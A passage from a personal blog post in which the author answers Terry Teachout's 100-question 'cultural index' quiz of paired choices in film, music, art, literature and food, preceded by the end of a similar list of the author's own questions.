89. Carlo Gambino or Vito Genovese?
90. Carnegie Deli or Stage Deli?
91. Hong Ying or Wo Hop?
92. Salerno's or Gargiulio's?
93. Debbie Watson or Deborah Walley?
94. Barbara Feldon or Melody Patterson?
95. Professor Mattic or Brains?
96. The Yardbirds with Beck or Clapton?
97. Sicilian or regular?
98. Ringo or Charlie?
99. I'm Not Your Stepping Stone or Valleri?
100. Phospho-Soda or NuLytely?

And the bonus question, for absolutely no reason other than prurient interest and pure one-upmanship.....

101. Marcia or Jan?

Sunday, July 11, 2004

 

The Cultural Index

Terry Teachout, of the great biography of H.L. Mencken, and other great arts commentary, has put up a series of binary questions on his site (incidentally highly recommended by yours truly), and being a sucker for this kind of thing, I decided to take the quiz and post my answers for your edification:


TT: If you had to choose

1. Fred Astaire or Gene Kelly?

Gene Kelly. Always been a sucker for "Singing In The Rain" and his great turn in "Inherit The Wind"

2. The Great Gatsby or The Sun Also Rises?

Neither.

3. Count Basie or Duke Ellington?

Count Basie. Ellington was always too pretentious for me.

4. Cats or dogs?

Dogs.

5. Matisse or Picasso?

Matisse by a hair.

6. Yeats or Eliot?

Schoolboy stuff. Feh.

7. Buster Keaton or Charlie Chaplin?

Buster Keaton. Chaplin isn't funny most of the time.

8. Flannery O’Connor or John Updike?

Neither.

9. To Have and Have Not or Casablanca?
Casablanca. OK it's cliched and hokey (why in heaven's name would the Krauts honor Letters of Transit signed by DeGaulle?), but I still love it.

10. Jackson Pollock or Willem de Kooning?

Pollock by a hair.

11. The Who or the Stones?

Tough one. Too much contemporaneous good stuff from both of them. Call it a draw.

12. Philip Larkin or Sylvia Plath?

No preference at all here.

13. Trollope or Dickens?

Haven't read enough Trollope to make a difference, so I'll give it to Dickens if only by default.

14. Billie Holiday or Ella Fitzgerald?

Lady Day. Ella's got the better chops, but it's too cool, in the sense of clinical, lacking warmth, to my ears.

15. Dostoyevsky or Tolstoy?

Nyet govorie po Russki. Too long and pretentious on both counts.

16. The Moviegoer or The End of the Affair?

No idea here.

17. George Balanchine or Martha Graham?

You mean a heterosexual male has to answer a question about dance?

18. Hot dogs or hamburgers?

Burgers.

19. Letterman or Leno?

Tough one. Leno's humor is more consistently funny to me though, so I'll give this round to Jay.

20. Wilco or Cat Power?

Wilco. Although they really can sound dreary.

21. Verdi or Wagner?

I'm not an opera fan, but I like sturm und drang, so give this one to the Teuton....

22. Grace Kelly or Marilyn Monroe?

Gracie all the way.

23. Bill Monroe or Johnny Cash?

Tough one. Both are very important to the history of country music. Slight edge to The Man In Black for his commercial accessibility, but truth be told, it's a draw.

24. Kingsley or Martin Amis?

Who?

25. Robert Mitchum or Marlon Brando?

Mitchum. Thunder Road. Need anything else be said?

26. Mark Morris or Twyla Tharp?

See answer to #17.

27. Vermeer or Rembrandt?

Let's see, fat farmhouse women versus fops in brown cafes. Edge: Rembrandt

28. Tchaikovsky or Chopin?

Tchaikovsky. That darn overture even makes into Clapton's repertoire ("I'm So Glad" on Cream "Live At The BBC")

29. Red wine or white?

Vin rouge sil vous plait. A great claret is an experience to be savored, as is a great Barolo.

30. Noël Coward or Oscar Wilde?

Noel Coward, but truth be told, what the hell did these guys write that resonates with a contemporary audience anyway?

31. Grosse Pointe Blank or High Fidelity?

Grosse Pointe Blank. Good stuff in the Heathers vein.

32. Shostakovich or Prokofiev?

Prokofiev, on the accessibility factor alone.

33. Mikhail Baryshnikov or Rudolf Nureyev?

See answer to #17.

34. Constable or Turner?

No freaking clue.

35. The Searchers or Rio Bravo?

Hey, both with The Duke. Tough choice, but I gotta go with Rio Bravo.

36. Comedy or tragedy?

"Tragedy is when I cut my finger. Comedy is when you walk into an open sewer and die."
-- Mel Brooks

37. Fall or spring?

Spring.

38. Manet or Monet?

The one who paints the cute girls.

39. The Sopranos or The Simpsons?

The Sopranos. By twenty Turnpike mileposts.

40. Rodgers and Hart or Gershwin and Gershwin?

Gershwin and Gershwin. Musicals leave me cold for the most part.

41. Joseph Conrad or Henry James?

Mnnnehhh. I suppose I'm terribly nekulturny here, but I'll say neither.

42. Sunset or sunrise?

Sunset. Just please don't mention Fiddler On The Roof.

43. Johnny Mercer or Cole Porter?

Very slight edge to Johnny Mercer.

44. Mac or PC?

You got a Unix box in there as another choice?

45. New York or Los Angeles?

New York. No decent deli or bagels in LA. Better museums in New York, too.

46. Partisan Review or Horizon?

Exprain, prease.

47. Stax or Motown?

Stax. Otis Redding, Booker T and the MGs, Sam & Dave and Carla Thomas all kick those charm-schooled synchronized dancers' sissy butts.

48. Van Gogh or Gauguin?

Van Gogh.

49. Steely Dan or Elvis Costello?

Steely Dan. More challenging intellectually and musically. The first three albums are always in heavy rotation by me.

50. Reading a blog or reading a magazine?

The blog. Magazines take up too much space and I don't like being reminded my subscription is running out when I'm two issues into a five year subscription.

51. John Gielgud or Laurence Olivier?

Tough one. Laurence Olivier by a nose.

52. Only the Lonely or Songs for Swingin’ Lovers?

Tough one. Depends on my mood. Call it a draw.

53. Chinatown or Bonnie and Clyde?

Chinatown.

54. Ghost World or Election?

Who?

55. Minimalism or conceptual art?

Fromage!

56. Daffy Duck or Bugs Bunny?

Bugs. Daffy always loses his cool and well, loses. See "Rabbit Seasoning", "Rabbit Fire", and "Duck Rabbit Duck" for proof of the pudding.

57. Modernism or postmodernism?

See answer to #55.

58. Batman or Spider-Man?

A pair of guilt-ridden psychos running around town in leotards trying to do the cops' work. Batman for both the darkness factor and the goofball side from the Adam West show. Spiderman loses points only because Peter Parker is such a whiner.

59. Emmylou Harris or Lucinda Williams?

Emmylou. What a voice. Great choice of Albert Lee for a picker.

60. Johnson or Boswell?

David Doyle or Tom Bosley?

61. Jane Austen or Virginia Woolf?

See answer to #60.

62. The Honeymooners or The Dick Van Dyke Show?

Very tough one. Slight edge to Dick Van Dyke, because of the greater number of episodes, the better technical sophistication and for episodes like "Coast To Coast Big Mouth" and "If It Looks Like A Walnut". Points off for the insipid musical numbers in their living room and "The Twizzle".

63. An Eames chair or a Noguchi table?

Which one is more comfortable?

64. Out of the Past or Double Indemnity?

Double Indemnity, but only if they restore the original ending with Fred MacMurray going to the gas chamber (seeing a 60s family TV icon being executed in a movie is vaguely hilarious, ref. that crummy TV movie where Andy Griffith goes to the electric chair)

65. The Marriage of Figaro or Don Giovanni?

La Nozze del Figaro, if only for its contributions to cartoon-dom.

66. Blue or green?

Blue.

67. A Midsummer Night’s Dream or As You Like It?

Both are about as funny as an appendectomy to me, but slight edge to A Midsummer Night's Dream.

68. Ballet or opera?

Now I know how these guys feel when offered the choice between lethal injection and electrocution.

69. Film or live theater?

Film. Theater is too damn pretentious.

70. Acoustic or electric?

Electric. Much as I love a great acoustic (think Olsen or Langjeans in the hands of someone like Phil Keaggy, although Taylors and Martins aren't slouches), there's nothing that compares to a Les Paul, SG, ES-335 or Stratocaster plugged into a Marshall stack. Or a Rickenbacker plugged into a Vox. Or pretty much anything plugged into a blackface Fender or a '59 Bassman. As long as the amp isn't a Peavey or Randall....

71. North by Northwest or Vertigo?

North by Northwest by a country mile. Always gets a screening here a couple of times a year. Haven't had the desire to see Vertigo in ages.

72. Sargent or Whistler?

Whistler, just for the iconography.

73. V.S. Naipaul or Milan Kundera?

See answer to #60.

74. The Music Man or Oklahoma?

Talk about the choice between Scylla and Charybdis. If I gave the matter any thought, it'd be Oklahoma, simply because of Shirley Jones and the fact that The Music Man's plot annoys the heck out of me.

75. Sushi, yes or no?

A resounding no.

76. The New Yorker under Ross or Shawn?

I refuse to read a magazine that is designed only for people who live between 57th and 96th Streets.

77. Tennessee Williams or Edward Albee?

Neither.

78. The Portrait of a Lady or The Wings of the Dove?

Channeling Manuel from Fawlty Towers - "Que?"

79. Paul Taylor or Merce Cunningham?

See answer to #78.

80. Frank Lloyd Wright or Mies van der Rohe?

Frank Lloyd Wright just for Falling Water.

81. Diana Krall or Norah Jones?

How about someone with a soul?

82. Watercolor or pastel?

Watercolor. Don't know why, but watercolor.

83. Bus or subway?

Subway. Always liked trains. Hate riding the Lexington IRT during rush hour, but anything's better than a bus creeping crosstown in rush hour traffic, especially when you need to make a train at Grand Central.

84. Stravinsky or Schoenberg?

Pretentious noise on both counts. Slight edge to Stravinsky, only because I like the end of "Firebird Suite".

85. Crunchy or smooth peanut butter?

Call it a draw.

86. Willa Cather or Theodore Dreiser?

Since I'm actually amazed by the fact that I know who Willa Cather is, I've got to vote for her, although her book "Alexander's Bridge" got it entirely wrong.

87. Schubert or Mozart?

Mozart. Sublime.

88. The Fifties or the Twenties?

The Fifties.

89. Huckleberry Finn or Moby-Dick?

Moby Dick by a nose. Although I love Twain, I don't care for Huck Finn for a reason that has nothing to do with its considerable merits (i.e. I was forced to read it in school with a teacher quote unquote guiding us in the book who was completely clueless and totally killed any appreciation I might have had for it at the time).

90. Thomas Mann or James Joyce?

James Joyce. Unintelligible, but at least he's not a kvetch like Mann.

91. Lester Young or Coleman Hawkins?

Prez. All the way.

92. Emily Dickinson or Walt Whitman?

I despise poetry thanks to my old teacher "Rosa Luxemburg", about whom I will get around one of these days to telling a few more of my school stories. Slight edge to Whitman for "The Mystic Trumpeter", but the fetish over him in Jersey is beyond my comprehension.

93. Abraham Lincoln or Winston Churchill?

Ay caramba. Two of the greatest figures in history, real mensches both of them. No can choose here.

94. Liz Phair or Aimee Mann?

Next question. Feh.

95. Italian or French cooking?

French. I suppose it's the ubiquity of Italian food that lessens it for me, and sometimes southern Italian gets plain boring.

96. Bach on piano or harpsichord?

Harpsichord.

97. Anchovies, yes or no?

No. Especially not in my Caesar salad.

98. Short novels or long ones?

Long ones. I like to savor them.

99. Swing or bebop?

Bebop. Swing sounds ossified at this point.

100. "The Last Judgment" or "The Last Supper"?

When it comes to art, I have the taste of a pig, so take my opinion cum grano salis. "The Last Supper", just because I like Da Vinci in general


I suppose that according to Mr. Teachout's index I'm somewhere in the neighborhood of Attila The Hun. Going by the number of draws and I don't cares, I come out with about a 51% cultural index (points being awarded for selecting the first option, and ignoring the draws and don't knows).

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